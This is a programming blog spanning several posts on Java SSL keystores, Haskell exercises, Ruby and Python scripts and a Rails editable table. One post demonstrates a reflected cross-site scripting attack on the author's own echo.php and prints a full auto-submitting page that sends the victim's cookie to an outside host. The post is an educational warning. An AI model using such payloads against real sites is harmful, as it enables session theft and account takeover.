talkingCode

Java, SSL, and the Keystore of Doom

In a break from our Haskell programming…

I used to be a staunch defender of Java as a language. I still think it’s relatively good (though mostly for the tool support), but there are things about it that make me want to scream.

Imagine, for example, you’d like to make an SSL authenticated fetch from a webserver. You have a client certificate to authenticate your client, and a server certificate to authenticate the server, and you’ve generated them both from your own CA. Shouldn’t be that hard, right? Wrong Everything SSL has to be configured via the key stores, so you need to import your private certificate and the server’s public certificate in to your key store in order to make anything go.

There are two stores - the Trust Store and the Key Store. The Trust store contains the certificates you trust (CAs, etc.). The Key Store contains certificates for which you have the private key and against which you’ll encrypt challenges to verify your identity. All you have to do is populate them…

Step 1: Don’t use GCJ
There are a lot of great things to be said for the Open Source outlook on life. GCJ isn’t one of them. It works quite like Java, except when you try and run anything. Unfortunately it works sufficiently like Java that you don’t necessarily know you’re using it, and it’s installed as the default on a lot of Debian machines.

keytool error: java.lang.IllegalStateException: masked envelope

That was the first cryptic clue that I was using GCJ. Other clues are random GC messages on the console. Here’s a quick way to tell if you’re infected:

$ ls -l /etc/alternatives/ | grep -c java-gcj
24

The number you’re looking for is ‘0′ on a correctly configured system. Specifically you want to see:

$ chase `which keytool`
/usr/lib/jvm/java-1.5.0-sun-1.5.0.15/jre/bin/keytool
$ chase `which java`
/usr/lib/jvm/java-1.5.0-sun-1.5.0.15/jre/bin/java

If you’re not getting that, reconfigure the alternative:

# update-alternatives --config java

There are 7 alternatives which provide `java'.

  Selection    Alternative
-----------------------------------------------
          1    /etc/alternatives/kaffe-system/bin/java
          2    /usr/bin/gij-wrapper-4.0
*         3    /usr/lib/jvm/java-1.5.0-sun/jre/bin/java
          4    /usr/bin/gij-4.1
          5    /usr/bin/gij-4.3
 +        6    /usr/lib/jvm/java-gcj/jre/bin/java
          7    /usr/bin/gij-4.2

Step 2: Import the CA
Now we’re running the right JVM, it should be a simple matter of:

$ #Create a trust store with a CA Cert in it (teststore.jks doesn't yet exist)
$ keytool -import -v -trustcacerts -alias myalias -file cacert.pem -keystore teststore.jks
Enter keystore password:
keytool error: java.lang.NullPointerException

Oh. There may be a way to use blank passwords on keystores, but keytool ain’t it. Let’s try again with a password:

$ keytool -import -v -trustcacerts -alias myalias -file cacert.pem -keystore teststore.jks
Enter keystore password: password

Smashing. That’ll mean we can at least connect to the remote host. But the SSL handshake will still fail when the host sees our lack of client certificate.

main, handling exception: javax.net.ssl.SSLHandshakeException: Received fatal alert: handshake_failure

Step 3: Import the Client certificate
My client certificate comes as two files - a certificate PEM file (the public part) and a key PEM file (the private part). Naïvely, I tried just installing the PEM part:

$ keytool -import -v -alias myalias2 -file signup1-cert.pem -keystore teststore.jks
Enter keystore password:  password
keytool error: java.lang.Exception: Input not an X.509 certificate

*sigh*. That’ll happen. Fortunately, we can convert from PEM to ‘DER’, which is something that keytool understands, using ‘openssl’:

$ openssl x509 -in signup1-cert.pem -inform PEM -out signup1-cert.der -outform DER
$ keytool -import -v -alias myalias2 -file signup1-cert.der -keystore teststore.jks
Enter keystore password:  password
Certificate was added to keystore
[Storing teststore.jks]

It’s stored, but unfortunately a) it doesn’t work and b) keytool thinks this is a ‘trustedCertEntry’ rather than a ‘keyEntry’:

$ keytool -v -list -keystore teststore.jks
...
Entry type: trustedCertEntry
...

Now, we can use ‘openssl’ to convert our certificate and key into a PKCS#12 combined key file:

$ openssl pkcs12 -export -in signup1-cert.pem -inkey signup1-key.pem -out signup1.p12

Even better, according to the documentation, PKCS#12 format files are valid key stores… unless you try and use them:

default context init failed: java.io.IOException: Invalid keystore format

Right. Let’s try that as a combined PEM format file then:

$ openssl pkcs12 -in mykey.p12 -out keystore.pem -nodes
$ keytool -import -v -alias clientcert -file keystore.pem -keystore keystore.jks
Enter keystore password:  password
keytool error: java.lang.Exception: Input not an X.509 certificate

True. (Incidentally, that’s No DES, not ‘nodes’) But we can convert PEM files to DER files

$ openssl x509 -in keystore.pem -inform PEM -out keystore.der -outform DER
$ keytool -import -v -alias clientcert -file keystore.der -keystore keystore.jks
Enter keystore password:  password

Step 4: Using the keystore in your program
You can configure the keystore at runtime as follows:

    System.setProperty("javax.net.ssl.keyStore", context.getRealPath(KEYSTORE));
    System.setProperty("javax.net.ssl.keyStorePassword", "password");
    System.setProperty("javax.net.ssl.trustStore", context.getRealPath(TRUSTSTORE));
    System.setProperty("javax.net.debug", "ssl");
    HttpClient httpClient = new HttpClient();
    GetMethod httpGet = new GetMethod("https://something.com");
    httpClient.executeMethod(httpGet);
    return new String(httpGet.getResponseBody());

javax.net.debug=ssl truly is a magic rune. I don’t know if you can get a list of such runes, but commit that one to memory. The debug output is pretty handy, if I little hard to follow.

Step 5: Become frustrated
What I didn’t mention, and perhaps should have mentioned above, is that I still hadn’t managed to import my key as a keyEntry, so this code still didn’t work. I downloaded the source code to the JDK and tried single-stepping KeyTool, but that also didn’t help. [Aside: People who create compressed archives without a top-level folder should be shot].

Step 6: Use KeyMan
KeyMan can be downloaded from IBM Alphaworks at time of writing:
http://www.alphaworks.ibm.com/tech/keyman/download
It ‘just works’. It lets you import your certificate and create a valid key store. Thanks IBM! (Source code plz).

More Haskell fun

“Define a tree type that has only one constructor, like our Java example. Instead of the Empty constructor, use the Maybe type to refer to a node’s children.”

Fair enough. How bout this?

data MaybeTree a = MaybeNode (Maybe (a (MaybeTree a) (MaybeTree a)))

It’s a real type. I can even make real values in the type:

maybeTree = MaybeNode (Just ("fish",
             (MaybeNode (Just ("left",
                               (MaybeNode Nothing),
                               (MaybeNode Nothing)))),
             (MaybeNode (Just ("right",
                               (MaybeNode Nothing),
                               (MaybeNode Nothing))))))

Buuut I can’t print them. Because I don’t derive Show. If I try to derive Show:

    No instance for (Show (a (MaybeTree a) (MaybeTree a)))
      arising from the 'deriving' clause of a data type declaration
                   at working.hs:(51,0)-(52,30)
    Possible fix:
      add an instance declaration for
      (Show (a (MaybeTree a) (MaybeTree a)))
    When deriving the instance for (Show (MaybeTree a))

That’s fair enough. And GHC’s even provided me with a hint. So I just… err… instance Show something, right? Wrong

Let’s write the show function for my tree type:

showTree (MaybeNode Nothing) = "empty"
showTree (MaybeNode (Just (a, b, c))) = "Node: " ++ (show a) ++
              ", Left: " ++ (showTree b) ++
              ", Right: " ++ (showTree c)

s’all good. But the type of that function?

showTree :: (Show t) => MaybeTree ((,,) t) -> [Char]

See that ((,,) t)? That’s the badness.

*Main> :kind (,,)
(,,) :: * -> * -> * -> *

Yeah. So it’s a tuple that has three type variables. Fun. Now I’m pretty sure that I ought to be able to define an instance of Show for my type, but I can’t for the life of me work out what the syntax is going to be

instance (Show a) => Show (MaybeTree ((,,) a)) where
       show t = showTree t

working.hs:58:0:
    Illegal instance declaration for `Show (MaybeTree ((,,) a))'
        (All instance types must be of the form (T a1 ... an)
         where a1 ... an are distinct type *variables*
         Use -XFlexibleInstances if you want to disable this.)
    In the instance declaration for `Show (MaybeTree ((,,) a))'

??? How about

instance (Show a) => Show (a, MaybeTree a, MaybeTree a) where
        show t = showTree t

working.hs:61:40:
    Kind mis-match
    Expected kind `* -> * -> *', but `a' has kind `*'
    In the type `MaybeTree a'
    In the type `(a, MaybeTree a, MaybeTree a)'
    In the type `(Show a) => Show (a, MaybeTree a, MaybeTree a)'

Any answers much appreciated, glorious lazyweb. I’m adding this to the list of exercises in the book that you can’t answer at the point you’ve reached in the book (this is chapter 4). Even after reading around about types and kinds and other peoples’ use of instance, I’m clueless.

And changing my type to be something sane doesn’t count. If it’s not possible to Show my type, I’d like to know why

Update:
After much discussion with sffubs and sos, it seems the only reasonable thing to do is to

{-# LANGUAGE FlexibleInstances #-}
instance (Show t) => Show (MaybeTree ((,,) t)) where
  show = showTree

We’re not quite sure what Flexible Instances are, but it seems that’s what’s needed to make this datatype work. The real answer is obviously not to use a crazy datatype:

data FooTree a = Maybe a ((FooTree a), (FooTree a)) deriving (Show)

Thanks both.

Getting started with Haskell… still

I can’t help but think there’s a bit of a gap in the market for introductory texts on Haskell. I say this in part because, at time of writing, if you google (hah! I’m using it as a verb! Trademark that!) “Getting Started Haskell”, you might end up here =/

I’d resolved to try getting started again on account of continuing to hear people rave about the language, so last night I did what I always do when learning something new - I googled “Getting Started X”. I found this awesome e-book / blog:

http://book.realworldhaskell.org/beta/index.html

It’s very well written (if a little rough round the edges - beta is the word), but I still think the learning curve presented is a _little_ steep for simpletons like myself. Bear with me while I expose my ignorance.

We’re using GHC. GHC is recommended by the book, it’s recommended by Don (who is indescribably leet: http://cgi.cse.unsw.edu.au/~dons/blog/), and it’s recommended by my n-sim colleagues (who mostly are, except for me: http://www.n-sim.com).

# apt-get install ghc6
# ghci
GHCi, version 6.8.2: http://www.haskell.org/ghc/  : ? for help
Loading package base ... linking ... done.
Prelude>

aaah. Prelude. Don’t I feel at home. In fact I don’t - this is all pretty weird, but working through the first couple of chapters of the book was fun. Walk with me a while…

Type Porn
If types don’t excite you, this probably isn’t the language for you. But they should; they’re awesome.

Prelude> :set +t
Prelude> 1337
1337
it :: Integer

In GHCI (interactive GHC interpreter), setting “+t” makes the interpreter print the type of whatever you’ve just evaluated. Technically, it prints the type of “it” - the special value in to which your last evaluated expression is loaded (there is no spoon, there are no variables). I know what “1337″ is, I know what “it” is, but what’s “Integer”?

Prelude> :info Integer
data Integer
  = GHC.Num.S# GHC.Prim.Int#
  | GHC.Num.J# GHC.Prim.Int# GHC.Prim.ByteArray#
        -- Defined in GHC.Num
instance Enum Integer -- Defined in GHC.Num
instance Eq Integer -- Defined in GHC.Num
instance Integral Integer -- Defined in GHC.Real
instance Num Integer -- Defined in GHC.Num
instance Ord Integer -- Defined in GHC.Num
instance Read Integer -- Defined in GHC.Read
instance Real Integer -- Defined in GHC.Real
instance Show Integer -- Defined in GHC.Num

ooo… fancy. What does that all mean? Well, I’m only on chapter 3, but in my simplistic Object Oriented view of the world, we’re effectively saying that Integer implements the interfaces Enum, Eq, Integral, Num, Org, Read, Real and Show (but the truth is a little more involved).

Prelude> :info Enum
class Enum a where
  succ :: a -> a
  pred :: a -> a
  toEnum :: Int -> a
  fromEnum :: a -> Int
  enumFrom :: a -> [a]
  enumFromThen :: a -> a -> [a]
  enumFromTo :: a -> a -> [a]
  enumFromThenTo :: a -> a -> a -> [a]
        — Defined in GHC.Enum
instance Enum Integer — Defined in GHC.Num
instance Enum Float — Defined in GHC.Float
instance Enum Double — Defined in GHC.Float
instance Enum Bool — Defined in GHC.Enum
instance Enum Ordering — Defined in GHC.Enum
instance Enum Char — Defined in GHC.Enum
instance Enum () — Defined in GHC.Enum
instance Enum Int — Defined in GHC.Enum

You kind of have to be comfortable with looking at types of the form:

a -> a -> a -> [a]

“enumFromThenTo” obviously takes three values and returns a list of values. (The joy of types, right? You know what it does by what its type is.) Moreover, we can see that it’s defined for the instances Integer, Float, Double, Bool, Ordering, Char, () and Int.

Prelude> enumFromThenTo 1 2 8
[1,2,3,4,5,6,7,8]
Prelude> enumFromThenTo () () ()
[(),(),(),(),(),()^CInterrupted.

and we can type functions too:

Prelude> :type fst
fst :: (a, b) -> a

What does that one do? There's only one thing it can do! Yes, I know, that's practically pornographic.

The exercise
"Write a function lastButOne, that returns the element before the last."

Trivial, right? A five year old could do it. Well, excuse me while I have a quick flashback to ML ticks (PDF) and rock gently back and forth in the corner. You have to bear in mind that, at this point in the book, we don't know there's a 'length' function in Prelude, we've not been taught pattern matching or case statements, and we're still simplistically minded imperative programmers. So naïvely, the best we might be able to do is:

-- in add.hs
count n [] = n
count n xs = count (n+1) (drop 1 xs)

myLastButOne xs = head (drop ((count 0 xs) - 2) xs)

Prelude> :load add.hs
[1 of 1] Compiling Main             ( add.hs, interpreted )
Ok, modules loaded: Main.
*Main> myLastButOne [1,2..10]
9

Repeat after me… “ewww”. And even to do that, I’ve had to use mysterious pattern matching which hasn’t been explained at that point in the book. Now, we could assume that a resourceful reader might find the ‘length’ function:

myLastButOne xs = head (drop ((length xs) - 2) xs)

But that’s still pretty unsatisfactory. For all I know, length is O(n) in the length of the list, so I’ll be going down the list twice. I daren’t imagine what Don would say. Even if it’s O(1), it doesn’t feel right. After a bit of head scratching and syntax guessing, I came to:

lastButOne (h:t) = case t of
                       (a:[]) -> h
                       (a:b) -> lastButOne t

which, for me at least, feels a little better. But I don’t know it’s right. I’m welcoming any pointers here. Now obviously for the “Find the last but nth item”, going down the list twice is looking less unattractive:

myLastButN n xs = head (drop ((length xs) - (n+1)) xs)

It’s still not great though. Would that I could list[-n]. But that’s not the point.

Summary
I’m determined to learn more Haskell and continue to expose my ignorance on this blog. Any pointers to good docs are welcome - “Haskell for simpletons”, that sort of thing. Meantimes I’ll continue to read the book. My stretch goal is to understand the things written on Don’s blog and on the following:

Conal Elliott:
http://conal.net/blog/

Kenn Knowles:
http://www.kennknowles.com/blog/

Removing bytes from a file

Morning,

I copied and pasted a (Ruby) script from a PDF this morning, and on executing it I got a whole pile of:

webservice.rb:33: Invalid char `\240' in expression
webservice.rb:33: Invalid char `\302' in expression

which was annoying. For reasons best known to KPDF (or oowriter, or my window manager’s cut-and-paste buffer), the spaces in the script (” “) had been encoded as 0xc2 0xa0, which is sort of UTF16 if you look at it sideways, but essentially useless to me.

So how do you remove 200 instances of a 2-byte sequence from a file? I didn’t have a good way, but this bad way sufficed:

cat > rm.c << EOF
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(int arcg, char *argv[])
{
  unsigned char c;

  while (read(0, &c, 1)==1)
  {
    if (c != 0xc2 && c != 0xa0)
    {
      write(1, &c, 1);
    }
    else if (c == 0xc2)
    {
      write(1, ” “, 1);
    }
  }
}
EOF
make rm
cat webservice.rb | ./rm > output.rb

So, my dearest lazyweb… better answers?

Awesome D-Bus

I’ve been using a new window manager - Awesome WM. It’s pretty fine. At version 2.3, it doesn’t currently support window tabbing in the way Ion does, but I’m assured that that feature is on its way. Everything else works pretty swishly, and the desktop tagging features are particularly nice.

It doesn’t come with a system tray out of the box, so I’d managed to miss some incoming instant messages. Fortunately you can write your own widgets for Awesome - you just pipe your widget updates into ‘awesome-client’.

So all I needed was a way to get the new message notification out of Pidgin…

#!/usr/bin/env python

from BeautifulSoup import BeautifulSoup
import os
import dbus.glib
import gobject
import sys

class CheckedObject:
    def __init__(self, obj):
        self.obj = obj

    def __getattr__(self, attr):
        return CheckedAttribute(self, attr)

class CheckedAttribute:
    def __init__(self, cobj, attr):
        self.cobj = cobj
        self.attr = attr

    def __call__(self, *args):
        result = self.cobj.obj.__getattr__(self.attr)(*args)
        if result == 0:
            raise "Error: " + self.attr + " " +
               str(args) + " returned " +
               str(result)
        return result

def awesome_write(string):
    awesome = os.popen("awesome-client", "w")
    widget_message = "0 widget_tell widgetbar im text %s\n" % string
    awesome.write(widget_message)
    awesome.close()

def message_received(account, sender, message, conversation, flags):
    html = BeautifulSoup(message)
    try:
      message = html.font.font.string
    except Exception, e:
      pass
    awesome_write("%s <%s>" % (message, sender))

def message_sent(account, receiver, message):
    awesome_write("")

bus = dbus.SessionBus()

obj = None
try:
    obj = bus.get_object(
        "im.pidgin.purple.PurpleService",
        "/im/pidgin/purple/PurpleObject")
except:
    print "Couldn't find Pidgin on the Bus"
    sys.exit(1)

purple = dbus.Interface(obj, "im.pidgin.purple.PurpleInterface")

cpurple = CheckedObject(purple)

bus.add_signal_receiver(message_received, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="ReceivedImMsg")
bus.add_signal_receiver(message_sent, dbus_interface="im.pidgin.purple.PurpleInterface", signal_name="SentImMsg")

gobject.MainLoop().run()

D-Bus really seems to be coming along quite nicely. dbus-inspector shows that there are a bunch of applications enabled for it (including Pidgin and XChat), and the language support seems to be fairly polished. Can’t wait to see what else ends up on the bus.

Ars run-through (with code):
http://arstechnica.com/reviews/apps/pidgin-2-0.ars/4

Pidgin list of conversation signals:
http://developer.pidgin.im/doxygen/dev/html/conversation-signals.html#sent-im-msg

D-Bus Inspector:
http://www.vitavonni.de/projekte/dbus-inspector.html.en

Awesome WM:
http://awesome.naquadah.org/

Ion WM:
http://modeemi.fi/~tuomov/ion/

Buzzword Bingo - Tomcat, Jetty, Cactus, Derby, Velocity, Maven

I’ve been writing a webapp at work recently. Because I’m writing it in Java, the scope for me to post interesting articles about what I’m doing has been pretty limited - I don’t know that much about enterprisey Java, and I spend most of my time bashing my head against a Java-shaped wall. A quick overview is probably worth doing though.

Apache
If you’ve not heard of the Apache Foundation (outside the context of their fine webserver), go visit their site now. Amongst other things, Apache are creating an incredible resource on that site in the form of a huge code commons. If you’re not sure what a commons is, a) shame on you and b) read this fine book (in fact, read it even if you are sure). The majority of the code on the Apache site is Java, so if you’re developing an application in Java it’s well worth checking the links on the left-hand side of the main page to see if they’ve already written what you’re writing, or something that will help you. The code is all Apache-licensed - a BSD-style license that is amenable to reuse in commercial projects as well as Free Software projects. It’s also very high quality code. You basically can’t lose.

strace is your friend
One of the biggest irritations, I’ve found, in using the Apache Java projects (and this is more of a function of Java than Apache) is trying to make Java find the appropriate config files. It’s pretty difficult to tell which config files Java is seeing, if any. You can download the source to the component you’re using and single step it in Eclipse, but this tends to get tedious at about the point you hit the class loader, which is exactly the point at which it’ll do any resource location. What you can do, though, is:

strace -f -p[YOUR_PID] 2>&1 | grep “your_config_file.xml”

You’re looking for things like calls to ’stat’ or results of ‘ENOENT’. This will generally tell you what Java’s looking for and where. That is, I grant you, a sledgehammer-nut solution, but I’ve found it quicker than anything else. If you know a better way to work out where I should be putting my Velocity toolbox.xml in my Maven tree for the Webapp to run in Jetty under Cactus please let me know. It’s not in the FAQ.

My environment
What am I doing with all these projects?

• Maven - Your lifecycle management tool (build and dependency management). Maven2 is much improved over Maven for having the package repositories work 99% of the time rather than the 50% that was more common in the original. The whole POM thing is… errr… a little obtuse, I grant you, but you can use Maven in a dumb way without too much trouble. The Eclipse plugin is a great way to find the packages you need too.
• Tomcat - The application server. Can’t really do a Webapp without one of those. Tomcat isn’t the only server out there, but it’s pretty well used and, as at 5.5-ish, not too difficult to make go.
• Velocity - The templating engine. The web is awash with webapp ‘frameworks’; Apache have about four of them for starters. Sometimes, though, you’re not writing for web browsers. Sometimes, you just want a way to turn your POJOs into arbitrary markup. Velocity is fast, uncomplicated and fully featured.
• Cactus - The Servlet test framework. I’ve still not completely wrapped my head around Cactus, but basically for each of your unit tests you have setUp and tearDown to manipulate state on the server, and begin and end to manipulate state on the client, and Cactus will run web requests inside a test harness for you. Trés handy.
• Jetty - A lightweight servlet container. Controversially not an Apache project, Jetty is really quite handy for running your Cactus tests. Instead of pushing the WAR all the way to Tomcat, you can new up a Jetty server inside the Maven test task and run your functional tests there.
• Derby - The lightweight database. To avoid having to have a real database available in order to run your unit tests, I find it convenient to put some test fixtures in a Derby DB and run the servlet off the back of that. This plays really nicely with the Cactus / Jetty setup and has the added advantage that (unlike MySQL) if you try and create a prepared statement that your schema can’t possibly run, Derby will warn you about that at preparation time rather than execution time. With a bit of tweaking, then, you can statically check your statements against the schema.

Making all that play together has been nightmarish, either because of my relative inexperience or because it’s genuinely difficult. I’ve embarrassingly failed to write down all the errors I encountered and how to fix them, but I may cover some of the more tricky parts of the setup in future articles. For all the setup work, though, being able to type mvn install and feel confident that your latest refactoring hasn’t broken the complex application you’ve written is worth almost any amount of blood, sweat and tears.

Simple webservice client, Ruby

Haven’t really got anything useful to write about, so here’s a simple bit of code to make XML requests to a webservice. It’s useful for me as a reference because it covers things I want to do fairly regularly - MD5-summing, Base64 encoding, fetching a page over HTTP and parsing and dumping an XML document.

For the sake of a complete example, the service we’re looking at here is a relatively RESTful directory service, exposing nested resources by extending the request URL:

# Root of service
http://some.service.com/api_root/

# List of locations
http://some.service.com/api_root/locations

# List of categories for location ID 4
http://some.service.com/api_root/categories/location/4

Requests can also have query arguments appended to specify, for example, numbers of results to return and sort order. Additionally, an authentication token and username are sent as query parameters, so that a complete request might look like:

http://some.service.com/api_root/categories/location/4?
    count=20&sort=name&uid=someuser&hash=5ju5eVirhXRqjdobToZiGA%3D%3D

The code, then, for our simple client is:

#!/usr/bin/ruby

require 'digest/md5'
require 'base64'
require 'cgi'
require 'net/http'
require 'uri'
require 'rexml/document'
require 'rexml/xpath'

BASE="http://some.service.com/api_root/"
UID="username"
PASS="suitable_password"

# Generates a valid authentication token based on 'PASS' and the
# current timestamp
def token
  plaintext = Time.now().to_i.to_s + '.' + PASS
  md5 = Digest::MD5.digest(plaintext)
  return Base64.encode64(md5).strip
end

# Returns a valid service URL, including authentication tokens
def url_for(method, args, queryargs = Hash.new)
  queryargs['uid'] = UID
  queryargs['hash'] = token
  escaped_query_parts = queryargs.collect do |entry|
    entry.collect { |e| CGI.escape(e) }.join(”=”)
  end
  escaped_args = args.unshift(method).collect { |a| CGI.escape(a) }
  path = escaped_args.join(”/”) + “?” + escaped_query_parts.join(’&')
  return BASE + path
end

# Fetches an XML document from the supplied URL
def fetch_xml(url)
  xml_string = Net::HTTP.get(URI.parse(url))
  if !xml_string
    puts “Request failed”
    exit
  end
  doc = REXML::Document.new xml_string
end

# Dumps out the ‘name’ and ‘url’ attributes for a nodelist
def dump_name_attributes(doc, path)
  REXML::XPath.each(doc, path) do |node|
    puts attribute_value(node, ‘@name’) +” (”+ attribute_value(node, ‘@url’) +”)”
  end
end

# Fetches the value of the attribute with the supplied name, or nil
def attribute_value(node, path)
  attribute = REXML::XPath.first(node, path)
  if !attribute
    return nil
  end
  return attribute.value
end

… and we might make a request as follows:

puts "Category List:"
xml = fetch_xml(url_for("categories", ["location","4"],
               { “count” => “20″,
                  “sort” => “name” }
        ))
dump_name_attributes(xml, ‘xmlservice/categories/category’)

assuming that the returned XML looks a little like this:

<xmlservice>
  <categories>
    <category name="Food" url="/api_root/category/food"/>
    <category name="Drink" url="/api_root/category/drink"/>
    <category name="Art" url="/api_root/category/art"/>
  </categories>
</xmlservice>

Reading the Economist - Hpricot, Ruby-RSS, Festival

Well, having the Economist read at any rate.

First, set up Festival (configuring it to use ALSA and an ‘English’ voice):

apt-get install festival
apt-get install festvox-rablpc16k
cat > ~/.festivalrc <<END
(Parameter.set 'Audio_Command "aplay -D plug:dmix -q -c 1 -t raw -f s16 -r \$SR \$FILE")
(Parameter.set 'Audio_Method 'Audio_Command)
(voice_rab_diphone)
END

Then liberally sprinkle some ruby:

#!/usr/bin/ruby

require 'rss/1.0'
require 'rss/2.0'
require 'open-uri'
require 'yaml'
require 'hpricot'
include YAML

TEMPFILE = "/tmp/economistreader"
puts "Fetching feed"
source = "http://www.economist.com/rss/full_print_edition_rss.xml"
content = ""
open(source) do |s| content = s.read end
rss = RSS::Parser.parse(content, false)

puts "Title: #{rss.channel.title}"
puts "Found #{rss.items.size} items"
for item in rss.items
  puts "#{item.title}"
  puts "Read? [Y/n]”
  if readline.strip.downcase =~ /^n/
    next
  end
  doc = Hpricot(open(item.link))
  paras = doc.search(”//div[@class='col-left']/p[@class='']“)
  File.open(”#{TEMPFILE}.body”, “w”) do |f|
    paras.each do |p|
      f.write(p.inner_text + “\n”)
      puts p.inner_text
    end
  end
  system(”festival”, “–tts”, “#{TEMPFILE}.body”)
end

I give it about 3 articles before the voice drives me completely insane. There’s a character-set issue that puts ‘?’s in odd places and causes Festival to get confused. Even without confusing characters, free text-to-speech software still isn’t ‘all that‘.
You could also, it’s worth pointing out, visit PimpMyNews. You’ll find the Economist’s feed under ‘Business/World Business News’. Unfortunately, they are lazy and their software only reads out the text from the RSS ‘Description’ field rather than parsing the whole article. That said, if what you want is to hear the first 200 words of every article in the Economist, that’s your badger.

Writing your own cross-site scripting exploit with echo.php

I keep commenting in my posts about security, usually to the effect that I don’t care for the purposes of what I’m doing but that you should think carefully about it. I thought it might be instructive to demonstrate just how easily ‘not caring’ can get you in trouble.

In order to make the editable table demo work, I created ‘echo.php’ - a simple PHP script to echo any posted value back to the caller; in this case the TableKit AJAX so that the cells get updated. I wrote this in the obvious way:

<?php
  echo $_POST['value'];
?>

It’s a one line (one command) PHP script. What could possibly go wrong?

Well let’s see how wrong we can make things go. Anybody visiting this site will know it’s hosted on Wordpress, can discover what echo.php does, and will find out if they leave a comment on the blog that comments need approving. Let’s suppose that one such visitor (Sally, for sake of argument) wasn’t happy with that way of working and wanted to be able to approve her own comments in future. Suppose further that I’m the kind of guy who likes to get a little background on the people commenting on my blog before I approve their messages. Sally leaves an innocuous looking comment and in the Website field, puts the URL of a page on her site - http://www.sallyssite.com/some_page.html. The code for some_page.html might look like this:

<html>
<head><title>Some Page</title></head>
<body onload="submitit()">
<form name="form1"
           action="http://talkingcode.co.uk/echo.php"
           method="post">
<input type="hidden" name="value" value="<html>
<head>
<title>Pwned</title>
</head>
<body onload='pwned()'>
<script type='text/javascript' src='/script/prototype.js'>
</script>
<form name='form1' action='http://www.sallyssite.com/gotcha.php' method='get'>
<input id='result' type='hidden' name='result' value=''/>
</form>
<script>
function pwned()
{
  $('result').value = document.cookie;
  document.form1.submit()
}
</script>
</body>
</html>">
</form>
<script>
function submitit()
{
  document.form1.submit();
}
</script>
</body>
</html>

So… What happens when I click the link and visit Sally’s page? The onload action for her page submits the form that’s on it, whose action is http://talkingcode.co.uk/echo.php and whose method is POST. The POST data is the value of a hidden field called value, specifically a bunch of HTML and Javascript.

On loading the page, my browser will render the output of echo.php which is the contents of the value field, which happens to be another auto-submitting form. This time, though, the action of the form is http://www.sallyssite.com/gotcha.php, and the contents of the form’s result field is going to be my cookie for talkingCode. So… I’ll just have posted my WordPress administrator cookie over to Sally’s site. How embarrassing.

Welcome to the real world

You might think this is a pretty contrived example, but the ingredients for this attack exist in a whole lot of real world systems that you might be using. Any time you click ‘Remember me’ on a site, or on any site to which you don’t have to log in every time, you’re using cookie-based authentication. Anyone who steals the cookie can log in as you. Still, not every site has an ‘echo.php’ lying around, right? That’s as may be, but a large number of sites do render user input and that’s really all it takes. Exploiting echo.php was easy because I had complete control of the way the result was going to render, but anywhere I can get my form rendered on a site that you trust, I can steal your cookies. This might be something I’ve put on my Facebook profile (in a world where Facebook was written by monkeys), it could be a comment I’ve made on your blog (if your blog software is completely broken); anywhere that hasn’t successfully escaped HTML/Javascript in all places may be at risk. Fortunately if you’re using high-profile sites or standard tools, you’re unlikely to run in to this problem because, either by having clever developers or through many eyes, these kinds of things will have been detected and avoided. Unfortunately, you might be writing a site yourself and miss it, or using a site written by people who don’t know what they’re doing.

NoScript to the rescue?

Well, kinda. If you’ve installed NoScript - which I strongly recommend you do - the form on Sally’s page can’t auto-submit. She has to make you click on a button to submit her form. Unfortunately, that’s not that hard. She need only label it ‘Search’, or ‘click here for free money’ to socially engineer that one. The only Javascript required in the exploit is the call to document.cookie, and that runs in the trusted domain. It’s a no-brainer that I’ll have marked talkingCode as trusted in NoScript - if I hadn’t, none of my lovely demos would work (inasmuch as they work at all). Any site on which you use cookie authentication that requires Javascript is equally vulnerable.

Don’t have nightmares

It’s worth pointing out that the vast majority of sites and tools you use won’t allow you to be exposed to this. I highlighted echo.php because it’s code I actually wrote and installed on my site. There are a lot of web developers who go through their lives copying and pasting examples from blogs and forums without understanding what the risks are but you don’t need to use their sites, and you certainly needn’t be one of them. It’s also worth conceding that although the script is called echo.php, and in spite of our irrational prejudice against PHP, there’s nothing intrinsically worse about PHP in terms of security. It’s what you do with it that counts.

Editable table with Javascript, TableKit, AJAX and Rails

Me and my tables. First drag and drop, then drag-select, and now click-to-edit values with date parsing magic. It’s like having a spreadsheet in a webpage, but less pointful. You will need:

• Prototype
• Fastinit (Optional, and can also be obtained from Tablekit)
• Tablekit
• DateJS

… and a table of data:

As you can see, by clicking the cells, you can edit the data. The table data is generated by an RHTML template using appropriate ActiveRecord models:

<table class="editable">
<thead>
  <tr>
    <th>Hardware Config</th>
    <th id="odm_id">ODM</th>
    <th id="brand_id">Brand</th>
    <th id="model_name">Model</th>
    <th id="date">Date</th>
    <th><!-- actions --></th>
  </tr>
</thead>
<tbody>
<% hwconfigs_by_id = Hash.new %>
<% @hwconfigs.each { |hwc| hwconfigs_by_id[hwc.product_code] = hwc } %>
<% for i in (1..200) %>
   <% code = 1024 - i%>
   <% hwconfig = hwconfigs_by_id[code.to_s] %>
     <tr class=”<%= cycle(”odd”, “even”)%>” id=”<%= code %>”>
        <td><%= code %></td>
        <% if hwconfig %>
          <td><%= hwconfig.odm.name if hwconfig.odm %></td>
          <td><%= hwconfig.brand.name if hwconfig.brand %></td>
          <td><%= hwconfig.model_name %></td>
          <td><%= hwconfig.date %></td>
        <% else %>
          <td></td>
          <td></td>
          <td></td>
          <td></td>
        <% end %>
    </tr>
<% end %>
</tbody>
</table>

In the same template, the following code adds the Javascript that we’re going to need to make the table editable:

<%= javascript_include_tag "tablekit" %>
<%= javascript_include_tag "fastinit" %>
<%= javascript_include_tag "date-en-GB" %>
<script>
TableKit.options.editAjaxURI = '<%= url_for :controller => "hwconfigs", :action => "table_edit"%>';
TableKit.Editable.textInput('date', {}, function(string) {
  var format = "yyyy-MM-dd";
  var date = Date.parse(string);
  if (date)
  {
    return date.toString(format);
  }
  return date;
}, "today");
TableKit.Editable.textInput('model_name', {}, undefined, "");
TableKit.Editable.selectInput('odm_id', {}, [
  <% for oem in Odm.find(:all, :order => 'name') %>
    <%= "['#{oem.name}','#{oem.id}'],” %>
  <% end %>
]);
TableKit.Editable.selectInput(’brand_id’, {}, [
  <% for brand in Brand.find(:all, :order => 'name') %>
    <%= "['#{brand.name}','#{brand.id}'],” %>
  <% end %>
]);
</script>

How do you get that to update the data model? In Rails, you’d configure the javascript to post to your hwconfigs/table_edit action, and process the posts in the hwconfigs ActionController as follows:

def table_edit
  hwconfig = Hwconfig.find_by_product_code(params[:id])
  if !hwconfig
    hwconfig = Hwconfig.new()
    hwconfig.product_code = params[:id]
  end
  if !params[:value]
    params[:value] = “”
  end
